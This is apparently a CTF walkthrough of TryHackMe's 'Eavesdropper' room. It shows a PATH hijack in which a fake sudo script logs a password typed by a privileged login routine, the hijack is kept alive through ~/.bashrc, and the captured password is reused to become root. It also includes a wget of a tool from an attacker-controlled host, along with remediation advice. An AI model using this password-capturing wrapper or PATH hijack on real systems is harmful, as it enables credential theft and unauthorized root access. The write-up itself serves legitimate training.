Eavesdropper
A privileged login routine runs sudo by name instead of by absolute path, so frank poisons his own PATH, plants a fake sudo wrapper that logs the password typed into it, and reuses that cleartext password to become root.
Eavesdropper — Stealing a Cleartext sudo Password with a PATH-Hijacked Wrapper
A walkthrough of the “Eavesdropper” room on TryHackMe. Starting from an SSH foothold as the low-privileged user frank**, we watch the process table with pspy and catch a privileged routine that calls sudo by name instead of by absolute path. By poisoning frank**’s PATH and planting a fake sudo wrapper, we capture the password that routine types — in cleartext — and ride it to root.
Eavesdropper is an authorized training room on TryHackMe; everything here was performed against a legal practice target. The captured password and the root flag are redacted. Values shown as
<redacted>orflag{<redacted>}are real on the box but withheld here.
TL;DR
TL;DR
SSH in as frank with the key recovered in the earlier phase → run pspy64 and spot a root-side routine executing sudo cat /etc/shadow by name, not by absolute path → frank controls his own PATH, so prepend a writable directory and drop a fake sudo that logs whatever password is typed to /tmp/passwd.txt → persist the PATH change across logins by writing it into ~/.bashrc → the routine re-runs and our wrapper intercepts frank’s password in cleartext → sudo su with that password → root.
One command invoked without a full path, plus a user-writable PATH, is enough to lift a password straight out of another session.
The target
export IP=<target-ip>
We land on the box over SSH as frank, using a private key recovered earlier in the room:
chmod 600 id-rsa-1647296932800.id-rsa
ssh -i id-rsa-1647296932800.id-rsa frank@$IP
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-96-generic x86_64)
...
Last login: Thu Apr 2 07:47:29 2026 from 10.x.x.x
frank@workstation:~$
frank is an ordinary UID 1000 user with no obvious sudo rights to abuse directly. The interesting question is what else runs on the box while we are logged in — and that login line, coming from another internal host, is a hint that something automated keeps touching this account.
The vulnerability — a privileged routine calls sudo by name
To watch background activity without root, we pull pspy (a process snooper that needs no privileges) onto the box and run it:
# attacker
python3 -m http.server 8000
# on the target
wget http://$ATTACKER_IP:8000/pspy64
chmod +x pspy64
./pspy64
Watching the feed, a root-owned chain fires whenever a session starts and ends on this line:
2026/04/02 07:51:20 CMD: UID=0 PID=581 | sudo cat /etc/shadow
Insight
The important detail is not that sudo cat /etc/shadow runs — it is how it is invoked. The routine calls sudo (and cat) by name, relying on PATH to resolve them, instead of /usr/bin/sudo and /bin/cat. Whenever a privileged process resolves a program name through a PATH that a lower-privileged user can influence, that user decides which binary actually runs. And because sudo reads a password from its prompt, a fake sudo doesn’t merely get executed — it gets handed the password.
Step 1 — plant a fake sudo that logs the password
The wrapper mimics sudo’s password prompt, saves whatever is typed, and exits. A handful of lines is enough:
cat > /tmp/sudo <<'EOF'
#!/usr/bin/bash
read -sp 'Password: ' Password # read the password the caller types
echo $Password > /tmp/passwd.txt # stash it where we can read it
EOF
chmod +x /tmp/sudo
Then put /tmp ahead of the real binaries on PATH:
export PATH=/tmp:$PATH
Step 2 — make the hijack survive a fresh login
export PATH=... only affects the current shell, but the privileged routine fires in frank’s login sessions, where PATH is reset to the default. The fix is to bake the poisoned PATH into frank’s own ~/.bashrc — which runs on every login — and move the wrapper somewhere stable:
# ~/.bashrc — add this as the first non-comment line
PATH=/home/frank:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
mv /tmp/sudo /home/frank/sudo
Now every new frank session resolves sudo to /home/frank/sudo first. Log out and back in to arm it.
Step 3 — collect the password, become root
After the routine fires again, the wrapper has written the password it was fed:
cat /tmp/passwd.txt
# -> <redacted>
That is frank’s own password — exactly what the real sudo needed. Hand it to the genuine binary and step up:
/usr/bin/sudo su
[sudo] password for frank:
root@workstation:/tmp# cat /root/flag.txt
flag{<redacted>}
Foothold as frank → pspy → PATH-hijacked sudo → captured password → root.
Impact
Critical
High — CVSS 3.1 7.8 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H). A local, low-privileged user escalates to full root:
- A privileged routine resolves
sudothrough aPATHthe target user controls, so that user chooses the binary that runs with the routine’s input. - The hijacked wrapper captures a cleartext password typed by the privileged flow — credential disclosure stacked on top of code execution.
- The recovered password unlocks the real
sudo, giving complete control of the host.
Recommended fix
Fix
- Call programs by absolute path in privileged scripts and cron/login jobs (
/usr/bin/sudo,/bin/cat), and set a known-goodPATHat the top of every such script instead of inheriting the caller’s. - Never let a privileged process inherit a lower-privileged user’s
PATHor environment. Where a routine must act in a user’s context, sanitize the environment first (env -i, sudo’ssecure_path). - Don’t feed real credentials to name-resolved helpers. If an automated flow must authenticate, use a non-interactive, auditable mechanism rather than typing a password that any wrapper on
PATHcan read.
Takeaways
- A bare command name is a trust decision.
sudoand/usr/bin/sudoare not the same thing to a privileged process — the first one asksPATH, andPATHcan lie. pspyturns the invisible visible. Catching the routine needed no root; simply watching the process table exposed the whole escalation.- Interactive prompts leak. The moment a privileged flow types a secret into a program you can replace, that secret is yours — no cracking required.
~/.bashrcis executable territory. Anything that reads it at login honors yourPATH, which is what made the hijack persistent.
Thanks for reading. Eavesdropper is a compact reminder that privilege escalation doesn’t always need a CVE — sometimes it’s just a missing /usr/bin/ and a password typed into the wrong sudo.